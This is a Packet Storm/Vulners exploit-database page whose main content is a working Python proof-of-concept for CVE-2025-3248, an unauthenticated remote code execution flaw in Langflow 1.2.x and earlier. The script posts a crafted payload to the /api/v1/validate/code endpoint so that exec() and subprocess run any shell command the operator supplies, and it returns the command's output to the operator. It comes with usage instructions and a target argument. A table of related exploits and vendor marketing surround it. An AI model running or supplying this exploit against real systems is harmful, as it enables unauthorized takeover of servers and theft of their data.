π Langflow 1.2.x Remote Code Execution
ποΈΒ 16 Jul 2025Β 00:00:00Reported byΒ Raghad Abdallah Al-syoufTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 208Β Views
| Reporter | Title | Published | Views | Family All 114 |
|---|---|---|---|---|
| Exploit for Code Injection in Langflow | 13 May 202516:08 | β | githubexploit | |
| Exploit for Missing Authentication for Critical Function in Langflow | 24 Oct 202513:08 | β | githubexploit | |
| Exploit for Missing Authentication for Critical Function in Langflow | 20 Nov 202501:45 | β | githubexploit | |
| Exploit for Code Injection in Langflow | 29 Sep 202514:21 | β | githubexploit | |
| Exploit for Code Injection in Langflow | 19 Jun 202506:30 | β | githubexploit | |
| Exploit for Missing Authentication for Critical Function in Langflow | 20 Nov 202501:45 | β | githubexploit | |
| Exploit for Code Injection in Langflow | 16 Apr 202514:00 | β | githubexploit | |
| Exploit for Missing Authentication for Critical Function in Langflow | 18 Oct 202622:03 | β | githubexploit | |
| Exploit for Code Injection in Langflow | 18 Jun 202503:42 | β | githubexploit | |
| Exploit for Code Injection in Langflow | 23 Jun 202509:36 | β | githubexploit |
10
#!/usr/bin/env python3
# Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE)
# Date: 2025-07-11
# Exploit Author: Raghad Abdallah Al-syouf
# Vendor Homepage: https://github.com/logspace-ai/langflow
# Software Link: https://github.com/logspace-ai/langflow/releases
# Version: <= 1.2.x
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-3248
# Description:
#Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands.
# Usage:
#python3 cve-2025-3248.py http://target:7860 "id"
import requests
import argparse
import json
from urllib.parse import urljoin
from colorama import Fore, Style, init
import random
init(autoreset=True)
requests.packages.urllib3.disable_warnings()
BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX]
def show_banner():
print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)}
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Langflow <= 1.2.x - CVE-2025-3248 β
β Remote Code Execution via exposed API β
β No authentication β triggers exec() call β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Author: Raghad Abdallah Al-syouf
{Style.RESET_ALL}""")
class LangflowRCE:
def __init__(self, target_url, timeout=10):
self.base_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
self.session.headers = {
"User-Agent": "Langflow-RCE-Scanner",
"Content-Type": "application/json"
}
self.timeout = timeout
def run_payload(self, command):
endpoint = urljoin(self.base_url, "/api/v1/validate/code")
payload = {
"code": (
f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
)
}
print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}")
try:
response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
print(f"{Fore.YELLOW}[+] HTTP {response.status_code}")
if response.status_code == 200:
try:
json_data = response.json()
err = json_data.get("function", {}).get("errors", [""])[0]
if isinstance(err, str) and err.startswith("b'"):
output = err[2:-1].encode().decode("unicode_escape").strip()
return output or "[!] No output returned."
except Exception as e:
return f"[!] Error parsing response: {e}"
return "[!] Target may not be vulnerable or is patched."
except Exception as e:
return f"[!] Request failed: {e}"
def main():
parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE")
parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)")
parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)")
args = parser.parse_args()
show_banner()
exploit = LangflowRCE(args.url)
result = exploit.run_payload(args.cmd)
print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}")
if __name__ == "__main__":
main()Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jul 2025 00:00Current
9.2Critical risk
Vulners AI Score9.2
CVSS 3.19.8
EPSS0.99993